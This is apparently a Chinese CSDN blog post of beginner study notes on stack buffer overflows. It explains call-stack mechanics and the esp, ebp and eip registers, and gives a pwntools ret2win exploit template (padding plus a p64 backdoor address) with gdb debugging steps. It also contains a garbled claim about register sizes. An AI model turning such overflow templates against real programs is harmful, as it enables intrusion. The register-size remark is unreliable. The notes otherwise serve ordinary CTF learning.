pwn栈溢出基础笔记

文章详细阐述了函数调用栈的工作原理,包括esp、ebp、eip寄存器的角色,函数调用时栈的变化以及如何通过栈溢出来影响程序执行。还介绍了栈溢出的概念,以及如何利用pwntools库进行安全测试和调试,特别提到了gets函数的安全隐患。
摘要由CSDN通过智能技术生成

1.栈的结构

函数调用栈是指程序运行时内存一段连续的区域。

用来保存函数运行时的状态信息等。

称之为“栈”是因为发生函数调用的时候,调用函数(caller)的状态保存在栈内,被调用函数(callee)的状态被压入调用栈的栈顶。

在函数调用结束时,栈顶的函数(callee)状态被弹出,栈顶恢复到调用函数(caller)的状态,恢复寄存器的值。

函数调用栈在内存中从高地址向低地址生长,所以栈顶对应的内存地址在压栈时变小,退栈时变大。

2.函数状态主要涉及三个寄存器——esp、ebp、eip。

esp用来存储函数调用栈的栈顶地址,在压栈和退栈时发生变化。

ebp用来存储当前函数状态的基地址 (base),在函数运行时不变,可以用来索引确定函数参数或局部变量。

eip用来存储即将执行的程序指令的地址,

cpu依照eip的储存内容读取指令并执行,eip随之指向相邻的下一条指令,如此反复,程序就得以连续执行指令。

函数调用的时候,栈的变化核心任务是将调用函数(caller)的状态保存起来,同时创建被调用函数(callee)的状态。

3.函数调用开始

首先将被调的函数(callee)的参数按照逆序压入栈内。如果被调用函数(callee)不需要参数,则没有这一步骤。这些参数会保存在调用函数(caller)的函数状态内,之后压入栈内的数据都会作为被调用函数(callee)的函数状态来保存。

压栈的过程中,esp寄存器的值会不断减小(对应于栈从内存高地址向低地址生长)。压入栈内的数据包括调用参数,返回地址,调用函数的基地址,以及局部变量,其中调用参数以外的数据共同构成了被调用函数(callee)的状态。在发生调用时,程序还会将被调用函数(callee)的指令地址存到eip寄存器内,这样程序就可以依次执行调用函数的指令了。

4.函数调用结束的变化:

核心任务:丢弃被调用函数(callee)的状态,并将栈顶恢复为调用函数(caller)状态。

首先被调用函数的局部变量会从栈内直接弹出,栈顶会指向被调用函数(callee)的基地址

然后之前保存到栈基地地址pop到ebp中,这样调用函数的ebp(基地址)得以恢复。此时栈顶会指向返回地址。

然后将返回地址pop到eip中

至此程序恢复至原始状态

5.栈溢出

栈溢出就是想办法覆盖返回地址,

栈的生长是从高地址向低地址生长的,而被调用函数的局部变量又是从低地址向高地址覆盖的,

如果局部变量的长度超过定义的,就会覆盖返回地址

缓冲区好像就是定义的变量的内存。

64位和32位的ebp是不同的,32位的是8个字节,而32位的是16个字节。

修改权限

sudo chmod +x 文件名

gets函数是一个危险函数,因为他没有对输入的数据进行任何的限制

那就意味着,只要有gets函数,就会有栈溢出。

var_10:v4输入变量。

s:ebp

r:返回地址

6.脚本大概

脚本大概模板:

from pwn import *  #导入pwntools的库(python)
p=process("./文件名")   #获得该程序,并得到一个与该程序的接口,
#远程#p=remote("ip",port)
backdoor=(0x地址)
payload='a'*0x18+p64(backdoor)  #0x18个垃圾数据,填满变量缓冲区(var和ebp),到了返回地址,然后填充额为返回地址
p.recvuntil("Your suggestion:\n")  #有换行(puts函数默认是有换行的)
#因为我们已经对该进程有交互了,所以会不断读取输出,读到这句话会停下来进行下一步操作
p.sendline(payload)  #发送payload
p.interactive()   #通过终端进行交互

7.调试

调试:

gdb :

b main     #下断点

远程调试:

gdb.attach(p) #pwntools中一个和gdb交互的接口

这种方式我还没有成功,之前看视频说是必须要将gdb默认为pwngbd

cmd="b main"

cmd +="set ……"

后边可以加参数,attach(p,cmd)

attach后可以加pause()

获取进程号,并且可以停下来。

from pwn import *  #导入pwntools的库(python)
p=process("./文件名")   #获得该程序,并得到一个与该程序的接口,
#远程#p=remote("ip",port)
backdoor=(0x地址)
payload='a'*0x18+p64(backdoor)  #0x18个垃圾数据,填满变量缓冲区(var和ebp),到了返回地址,然后填充额为返回地址
gdb.attach(p)
p.recvuntil("Your suggestion:\n")  #有换行(puts函数默认是有换行的)
#因为我们已经对该进程有交互了,所以会不断读取输出,读到这句话会停下来进行下一步操作
p.sendline(payload)  #发送payload
p.interactive()   #通过终端进行交互

还可以通过

gdb -p 加进程id

这个文章好像不错

pwntools的使用技巧 · 大专栏 (dazhuanlan.com)

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

y6y6y666

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值